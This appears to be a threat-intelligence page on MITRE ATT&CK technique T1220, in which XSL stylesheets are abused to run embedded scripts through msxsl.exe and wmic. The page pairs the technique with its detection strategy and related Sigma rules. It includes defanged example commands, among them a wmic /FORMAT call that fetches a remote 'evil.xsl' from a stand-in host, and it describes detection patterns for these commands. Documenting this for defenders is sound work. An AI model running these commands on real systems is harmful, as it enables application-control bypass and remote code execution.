Techniques › T1220
T1220 XSL Script Processing
stealth — Windows · attack.mitre.org · JSON
1
MITRE detection strategy
1
analytics
5
Sigma rules tagged attack.t1220
0
KEV CVEs mapped here
<p>Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages.</p><p>Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to Trusted Developer Utilities Proxy Execution, the Microsoft common line transformation utility binary (msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.</p><p>Command-line examples:</p>
- <li><code>msxsl.exe customers[.]xml script[.]xsl</code></li><li><code>msxsl.exe script[.]xsl script[.]xsl</code></li><li><code>msxsl.exe script[.]jpeg script[.]jpeg</code></li>
- <li>Local File: <code>wmic process list /FORMAT:evil[.]xsl</code></li><li>Remote File: <code>wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”</code></li>
KEV CVEs mapped to this technique · CTID Mappings Explorer
None. No KEV entry in the public mapping names this technique. Given that 74.7% of KEV has no mapping at all, this says more about the mapping than about the technique.
Detection strategy · ATT&CK Enterprise v19.2
- DET0205 Detect XSL Script Abuse via msxsl and wmic v1.0
AN0581 WindowsExecution of XSL scripts via msxsl.exe or wmic.exe using embedded JScript or VBScript for proxy execution. Detection correlates process creation, command-line patterns, and module load behavior of scripting components (e.g., jscript.dll).Tunable:
CommandLinePatternParentProcessTimeWindowRemoteXSLDomainWhitelist
Sigma rules · SigmaHQ da9bb07d64, tag attack.t1220
Author: Timur Zinniatullin, oscd.community, Swachchhanda Shrawan Poudel
· 2019-10-21 (modified 2026-01-24) · logsource: product=windows category=process_creation · 05c36dd6-79d6-4a9a-97da-3db20298ab2d
Detects the execution of WMIC with the "format" flag to potentially load local XSL files.
Adversaries abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses.
Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files.
Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)
· 2020-10-17 (modified 2022-10-13) · logsource: product=windows category=image_load · 06ce37c2-61ab-4f05-9ff5-b1a96d18ae32
Detects threat actors proxy executing code and bypassing application controls by leveraging wmic and the `/FORMAT` argument switch to download and execute an XSL file (i.e js, vbs, etc).
It could be an indicator of SquiblyTwo technique, which uses Windows Management Instrumentation (WMI) to execute malicious code.
Author: Swachchhanda Shrawan Poudel
· 2023-11-09 · logsource: product=windows category=process_creation · 75d0a94e-6252-448d-a7be-d953dff527bb
Detects the execution of the "msxsl" binary with an "http" keyword in the command line. This might indicate a potential remote execution of XSL files.
Author: Markus Neis, Florian Roth, Swachchhanda Shrawan Poudel (Nextron Systems)
· 2019-01-16 (modified 2026-01-24) · logsource: product=windows category=process_creation · 8d63dadf-b91b-4187-87b6-34a1114577ea
Detects potential execution of the SquiblyTwo technique that leverages Windows Management Instrumentation (WMI)
to execute malicious code remotely. This technique bypasses application whitelisting by using wmic.exe to process
malicious XSL (eXtensible Stylesheet Language) scripts that can contain embedded JScript or VBScript.
The attack typically works by fetching XSL content from a remote source (using HTTP/HTTPS) and executing it
with full trust privileges directly in memory, avoiding disk-based detection mechanisms. This is a common
LOLBin (Living Off The Land Binary) technique used for defense evasion and code execution.
Author: Timur Zinniatullin, oscd.community
· 2019-10-21 (modified 2023-11-09) · logsource: product=windows category=process_creation · 9e50a8b3-dd05-4eb8-9153-bdb6b79d50b0
Detects the execution of the MSXSL utility. This can be used to execute Extensible Stylesheet Language (XSL) files. These files are commonly used to describe the processing and rendering of data within XML files.
Adversaries can abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses.